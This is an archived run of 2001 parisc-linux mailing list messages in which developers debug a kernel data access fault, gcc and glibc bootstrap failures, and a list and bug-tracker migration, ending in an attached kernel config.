c2a0 c026f354 0000000b 00000024 0000003c 0000003e c026f000 00000001 00000000
c2c0 c01002bc c02a6ca3 00000000 c02a6cc7 0000000b c026f354 c026f000 08000059
c300 002a6700 c025a000 00000000 00e4e1c0 c02a08c0 00000060 0000001f 00000000
c340 00000000 00000000 00000000 00000000 40800000 00000000 ffd5b580 ffd5b580
c380 41800000 00000000 00000010 00000010 00000000 00000000 ffd5b580 ffd5b580
c3c0 ffd5b580 ffd5b580 40800000 00000000 41000000 00000000 40300000 00000000
c400 40000000 00000000 40800000 00000000 41000000 00000000 00000000 00000000
c440 c0117320 c0117324 40800000 00000000 00275000 00000000 c0274040 c0274064
c480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4c0 107f0021 c2fcc50c 81a40001 00000000 00000000 00000000 c026d458 c026d418
c500 c02a0000 00000000 c02a0640 bb0008b8 00008000 00000040 00009b2c 00000002
c540 00000003 bb000808 c2ff9bc0 c2ff9bc4 c2fcc000 c027460c c02a0000 00000000
c580 bb000788 00009b2c 00000000 00009b2c 00009c24 00009c24 00000000 00000000
c5c0 00000001 c0278000 00000005 00065465 00000002 00000001 00000001 c0248b34
c600 00000004 08000059 00000000 00000000 f0001244 000ff000 001a5a59 c0289830
c640 c029ddec c029ddb4 00000000 00000000 000ff000 001a5a59 c0289830 0004000a
c680 c02b7ee4 c02b7fa0 c027c304 00000040 c0237d1c c0237908 c02379c4 c0237d20
c6c0 10000080 c02b7ee4 c02b7fa0 c027c304 00000040 c2ffd0c0 c0237800 c0237800
c700 c027c304 00000040 c0237a7c c027e2c4 c0237800 00000000 c02b7ee4 c02b7ee4
c740 c02bbfe4 00000000 c027c3d4 c02bbfe0 00000000 0000003c 0000003e c026f000
c780 c2fc88ec 00008124 00000004 000000ff 00000060 00000060 00000001 00000002
c7c0 0000001f 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c800 ffd5b580 ffd5b580 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000
c840 0006000b c02a6740 c019791c c02b7ee0 00000013 0000002f c02b8cc4 c027c3d4
c880 c0237800 c0237800 c02b7f24 00000000 c02b8cc4 c02bb800 ffffffff 00000040
c8c0 0000001f 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c900 ffd5b580 ffd5b580 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000
c940 ffd5b580 ffd5b580 41000000 00000000 40800000 00000000 ffd5b580 ffd5b580
c980 40300000 00000000 40200000 00000000 40200000 00000000 41800000 ffd5b580
c9c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
ca00 00000000 00000000 00000001 00000020 00000001 0e781096 00000000 0000000c
ca40 80000000 c02bc000 c2fcc740 00000020 00000000 00000000 c027068c 00000007


PSW: 00000000000001100000000000001011
r4-7     00000013 0000002f c02b8cc4 c027c3d4
r12-15   fffffffc c0237800 c0237800 c02c9584
r20-23   c02b8cc4 c02bb800 ffffffff 00000040
r28-31   00002580 0000002f c2fcca80 c0290e38
sr4-7    00000000 00000000 00000000 00000000
IASQ: 00000000 00000000 IAOQ: c010cc7c c010cc80
ORIG_R28: 00000000

---1463811727-1681692777-980894855=:32268--


From - Thu Nov 08 21:16:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] register_fallback_cpu()
Date: Tue, 30 Jan 2001 23:56:07 +0100 (CET)
Lines: 16
Approved: news@gmane.org
Message-ID: <200101302256.XAA21139@zaphod.halden.lillfab.se>
References: <200101302247.XAA16738@zaphod.halden.lillfab.se>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416619809 14740 80.91.229.3 (22 Nov 2014 01:30:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: 5116@telia.com
Original-X-From: 5116@telia.com  Tue Jan 30 15:52:19 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA19031
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 15:52:18 -0700
Original-Received: (qmail 18399 invoked by uid 15267); 30 Jan 2001 22:56:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18373 invoked from network); 30 Jan 2001 22:56:12 -0000
Original-Received: from mailf.telia.com (root@194.22.194.25)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 22:56:12 -0000
Original-Received: from zaphod.halden.lillfab.se (t3o70p69.telia.com [62.20.149.69])
	by mailf.telia.com (8.9.3/8.9.3) with ESMTP id XAA24033;
	Tue, 30 Jan 2001 23:56:09 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id XAA21139;
	Tue, 30 Jan 2001 23:56:07 +0100
In-Reply-To: <200101302247.XAA16738@zaphod.halden.lillfab.se>
Xref: news.gmane.org gmane.linux.ports.parisc:10071

 
> OK, here we go.
> 
> /Daniel
There seems that there was a cut and paste error in my last mail, 

the line:
 
Data acces fault in kernel: Code=26 regs=c2fcc840 (Addr=0000000c)

was supposed to be between the stack and register dump.

/Daniel
-- 



From - Thu Nov 08 21:16:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] register_fallback_cpu()
Date: Tue, 30 Jan 2001 15:02:34 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <200101302302.PAA28266@milano.cup.hp.com>
References: <200101302247.XAA16738@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619810 14744 80.91.229.3 (22 Nov 2014 01:30:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: 5116@telia.com
Original-X-From: grundler@cup.hp.com  Tue Jan 30 15:56:43 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA19333
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 15:56:40 -0700
Original-Received: (qmail 25352 invoked by uid 15267); 30 Jan 2001 23:00:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25040 invoked from network); 30 Jan 2001 23:00:29 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 23:00:29 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 0E5A22793; Tue, 30 Jan 2001 15:00:27 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA28266;
	Tue, 30 Jan 2001 15:02:36 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 30 Jan 2001 23:47:35 PST."
             <200101302247.XAA16738@zaphod.halden.lillfab.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:10072

5116@telia.com wrote:

> OK, here we go.
...
> PSW: 00000000000001100000000000001011
> r4-7     00000013 0000002f c02b8cc4 c027c3d4
> r12-15   fffffffc c0237800 c0237800 c02c9584
> r20-23   c02b8cc4 c02bb800 ffffffff 00000040
> r28-31   00002580 0000002f c2fcca80 c0290e38
> sr4-7    00000000 00000000 00000000 00000000
> IASQ: 00000000 00000000 IAOQ: c010cc7c c010cc80
> ORIG_R28: 00000000

*sigh*.
Is this an unusual parisc processor in that it doesn't have r0-3?
Or r8-11?

Can you post the *whole* output?
Starting from BOOT_ADMIN> prompt?

Oh...and unless you are using the default config file,
I'll need that too.

thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253


From - Thu Nov 08 21:16:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Weird compile problems
Date: Wed, 31 Jan 2001 10:25:21 +1100 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101310956430.19209-100000@front.linuxcare.com.au>
References: <20010130154256.D6704@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619810 14746 80.91.229.3 (22 Nov 2014 01:30:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:10 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Tue Jan 30 16:21:27 2001
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA20534
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 16:21:25 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA11507;
	Wed, 31 Jan 2001 10:25:21 +1100
In-Reply-To: <20010130154256.D6704@achilles.net>
Xref: news.gmane.org gmane.linux.ports.parisc:10073

On Tue, 30 Jan 2001, Paul J.Y. Lahaie wrote:

[about pehc CVS devel branch gcc]
> And fixincl (the progrma that does the subst) is taking 0% CPU (from top)
> 10727 pjlahaie   9   0   712  712   520 S      20  0.0  0.5   0:00 fixincl

Yeah, fixincl dies for me too.  I'd been putting it down to some sort of
kernel problem, and just disabled fixinc (gcc/Makefile:STMP_FIXINC).
Other than that, I get a successful bootstrap, and both kernel & glibc
compile natively - except that `make' died randomly in the glibc build,
and I currently have a ld.so.1 that segfaults.

Hmm, looking at what I just wrote, you can hardly call it a "successful
bootstrap".  I'm investigating the ld.so.1 problem - at least that one is
reproducable.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:16:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Weird compile problems
Date: Tue, 30 Jan 2001 16:36:03 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20010130233603.B823337C90@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0101310956430.19209-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619810 14748 80.91.229.3 (22 Nov 2014 01:30:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:10 +0000 (UTC)
Cc: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>,
        parisc-linux@puffin.external.hp.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: taggart@carmen.fc.hp.com  Tue Jan 30 16:30:04 2001
Original-Received: from cosrel2.hp.com (cosrel2.hp.com [156.153.255.162])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA21001
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 16:30:04 -0700
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel2.hp.com (Postfix) with ESMTP id 137283C2
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 16:33:56 -0700 (MST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id B823337C90; Tue, 30 Jan 2001 16:36:03 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Alan Modra <alan@linuxcare.com.au> 
   of "Wed, 31 Jan 2001 10:25:21 EST." <Pine.LNX.4.21.0101310956430.19209-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:10074


Alan Modra writes...

> On Tue, 30 Jan 2001, Paul J.Y. Lahaie wrote:
> 
> [about pehc CVS devel branch gcc]
> > And fixincl (the progrma that does the subst) is taking 0% CPU (from top)
> > 10727 pjlahaie   9   0   712  712   520 S      20  0.0  0.5   0:00 fixincl
> 
> Yeah, fixincl dies for me too.  I'd been putting it down to some sort of
> kernel problem, and just disabled fixinc (gcc/Makefile:STMP_FIXINC).
> Other than that, I get a successful bootstrap, and both kernel & glibc
> compile natively - except that `make' died randomly in the glibc build,
> and I currently have a ld.so.1 that segfaults.

I suspect that your make actually died during the make install right? This is 
the problem that John Marvin and I are working on. The pthread changes that he 
made broke things that use librt and libpthread. In our current nfsroot that 
is tar, make, and sleep. For now we're using a static make to complete the 
install. Once I have a new glibc package built I will do new new 
make,tar,sleep stuff too.

> Hmm, looking at what I just wrote, you can hardly call it a "successful
> bootstrap".  I'm investigating the ld.so.1 problem - at least that one is
> reproducable.

I was seeing that here too but John wasn't. We're currently trying to 
determine the differences in our build environments. What system are you 
building on and what nfsroot/kernel are you using?

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation




From - Thu Nov 08 21:16:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Weird compile problems
Date: Wed, 31 Jan 2001 12:01:16 +1100 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101311139160.19209-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0101310956430.19209-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619811 14751 80.91.229.3 (22 Nov 2014 01:30:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:11 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com,
	Jeffrey A Law <law@redhat.com>
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 30 18:36:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 233044A18
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Jan 2001 18:36:57 -0700 (MST)
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id SAA23370
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 18:32:51 -0700
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by palrel1.hp.com (Postfix) with ESMTP id B725B1F
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 17:08:30 -0800 (PST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA15859;
	Wed, 31 Jan 2001 12:01:16 +1100
In-Reply-To: <Pine.LNX.4.21.0101310956430.19209-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10075

On Wed, 31 Jan 2001, Alan Modra wrote:

> and I currently have a ld.so.1 that segfaults.

r19 is being trashed.  It's a compiler bug.  One I added too. :-(

At least, it's to do with the new scheme of allowing gcc to allocate a
register to save r19 rather than trying to use a fixed register.  From a
quick glance over disassembled code, it seems that inline functions try
to restore r19 from a register that has never been initialised.

Alan
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Weird compile problems
Date: Wed, 31 Jan 2001 10:45:01 +1100 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101311037120.19209-100000@front.linuxcare.com.au>
References: <20010130233603.B823337C90@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619811 14757 80.91.229.3 (22 Nov 2014 01:30:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:11 +0000 (UTC)
Cc: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>,
	parisc-linux@puffin.external.hp.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 30 18:56:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 498664A18
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Jan 2001 18:56:14 -0700 (MST)
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id SAA23823
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 18:52:08 -0700
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by palrel1.hp.com (Postfix) with ESMTP id B5D8416FA
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 15:54:46 -0800 (PST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA12383;
	Wed, 31 Jan 2001 10:45:01 +1100
In-Reply-To: <20010130233603.B823337C90@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10076

On Tue, 30 Jan 2001, Matt Taggart wrote:

> I suspect that your make actually died during the make install right? This is 

No, during the build.

> the problem that John Marvin and I are working on. The pthread changes that he 
> made broke things that use librt and libpthread. In our current nfsroot that 
> is tar, make, and sleep. For now we're using a static make to complete the 
> install. Once I have a new glibc package built I will do new new 
> make,tar,sleep stuff too.
> 
> > Hmm, looking at what I just wrote, you can hardly call it a "successful
> > bootstrap".  I'm investigating the ld.so.1 problem - at least that one is
> > reproducable.
> 
> I was seeing that here too but John wasn't. We're currently trying to 
> determine the differences in our build environments. What system are you 
> building on and what nfsroot/kernel are you using?

Machine is a 712/80, nfsroot started life as nfsroot-20001009 but has been
tweaked quit a bit - compiler, binutils, glibc.  Kernel is one I built
from CVS checked out 24th. Jan.

Alan
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <daniel_frazier@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] list migration & bug tracking system
Date: Tue, 30 Jan 2001 18:06:50 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <3A77652A.7CD6D5D8@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619811 14761 80.91.229.3 (22 Nov 2014 01:30:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:11 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 30 19:11:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB4504A18
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Jan 2001 19:11:30 -0700 (MST)
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id TAA24173
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 19:07:25 -0700
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel2.hp.com (Postfix) with ESMTP id 9A224192B
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 20:04:45 -0500 (EST)
Original-Received: from hp.com (hazel.fc.hp.com [15.1.52.8])
	by ldl.fc.hp.com (Postfix) with ESMTP id 26E755A963
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 18:00:46 -0700 (MST)
Original-Sender: dafra@ldl.fc.hp.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10077

hey,

We now have a bug tracking system at:
http://bugs.parisc-linux.org/
The BTS is based on the debbugs package, Debian's BTS.

If you're not familiar w/ debbugs, see that page for documentation.

maintainer messages will be sent to corresponding lists on:
http://lists.parisc-linux.org
You can request a copy of the maintainers file through the BTS, as well
as view it online at http://bugs.parisc-linux.org/packages.html

we have moved the mailing lists and archives over to Mailman on a
different machine.  the switch should have been near-transparent.  you
can still send mail to puffinl.external, but lists.parisc-linux.org is
the preferred host.

You can subscribe and/or unsubscribe from all lists at once at:
http://lists.parisc-linux.org/bulksubscribe.html

You can now use htdig to search the list archives at:
http://lists.parisc-linux.org/search.html

please file bugs against the packages "bts" or "lists" if you run across
any problems or have any suggestions.
	-dann
-- 
---------------------------
dann frazier
Hewlett-Packard
Linux Development Lab
daniel_frazier@hp.com
(970) 898-0800




From - Thu Nov 08 21:16:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] list migration & bug tracking system
Date: Tue, 30 Jan 2001 19:20:56 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20010131022056.8FC8137C90@carmen.fc.hp.com>
References: <3A77652A.7CD6D5D8@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619812 14762 80.91.229.3 (22 Nov 2014 01:30:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: dann frazier <daniel_frazier@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 30 19:18:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id B471F4A18
	for <parisc-linux@parisc-linux.org>; Tue, 30 Jan 2001 19:18:59 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id DF255983; Tue, 30 Jan 2001 21:18:58 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 8FC8137C90; Tue, 30 Jan 2001 19:20:56 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from dann frazier <daniel_frazier@hp.com> 
   of "Tue, 30 Jan 2001 18:06:50 MST." <3A77652A.7CD6D5D8@hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10078

dann frazier writes...

> You can subscribe and/or unsubscribe from all lists at once at:
> http://lists.parisc-linux.org/bulksubscribe.html
> 
> You can now use htdig to search the list archives at:
> http://lists.parisc-linux.org/search.html

I have modified the,

http://parisc-linux.org/mailing-lists/index.html

page to reflect the changes and point to the archives, web interface, and 
search tool. Also we have the MX records setup such that mail sent to,

listname@parisc-linux.org

will work properly.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] register_fallback_cpu()
Date: Wed, 31 Jan 2001 07:54:55 +0100 (CET)
Lines: 598
Approved: news@gmane.org
Message-ID: <200101310654.HAA25831@zaphod.halden.lillfab.se>
References: <200101302302.PAA28266@milano.cup.hp.com>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/mixed; BOUNDARY="-1463811727-1804289383-980924095=:21138"
X-Trace: ger.gmane.org 1416619812 14766 80.91.229.3 (22 Nov 2014 01:30:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, 5116@telia.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 30 23:55:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id B330D4A18
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Jan 2001 23:55:26 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA29678
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 23:51:20 -0700
Original-Received: (qmail 7214 invoked by uid 15267); 31 Jan 2001 06:55:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7131 invoked from network); 31 Jan 2001 06:55:19 -0000
Original-Received: from mailb.telia.com (root@194.22.194.6)
  by mailserv2.iuinc.com with SMTP; 31 Jan 2001 06:55:19 -0000
Original-Received: from zaphod.halden.lillfab.se (t1o70p1.telia.com [62.20.148.1])
	by mailb.telia.com (8.9.3/8.9.3) with ESMTP id HAA14306;
	Wed, 31 Jan 2001 07:54:57 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id HAA25831;
	Wed, 31 Jan 2001 07:54:55 +0100
In-Reply-To: <200101302302.PAA28266@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10079

---1463811727-1804289383-980924095=:21138
Content-Type: TEXT/plain; CHARSET=US-ASCII

On 30 Jan, Grant Grundler wrote:
> 5116@telia.com wrote:
> *sigh*.
> Is this an unusual parisc processor in that it doesn't have r0-3?
> Or r8-11?
> 
> Can you post the *whole* output?
> Starting from BOOT_ADMIN> prompt?
> 
> Oh...and unless you are using the default config file,
> I'll need that too.
I am sorry about that It was late and minicom seems to have some hickup
wrt its scroll-back buffer. (This is from a new run, since I had to
restart minicom to get it to behave).


-- 


---1463811727-1804289383-980924095=:21138
Content-Type: TEXT/plain; CHARSET=US-ASCII
Content-Disposition: attachment ; filename=".config"

#
# Automatically generated make config: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# General options
#
# CONFIG_SMP is not set
# CONFIG_KWDB is not set
CONFIG_GSC=y
# CONFIG_IOMMU_CCIO is not set
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_WAX_EISA=y
# CONFIG_SUPERIO is not set
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_CHASSIS_LCD_LED=y

#
# Loadable module support
#
CONFIG_MODULES=y
CONFIG_MODVERSIONS=y
CONFIG_KMOD=y

#
# General setup
#
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
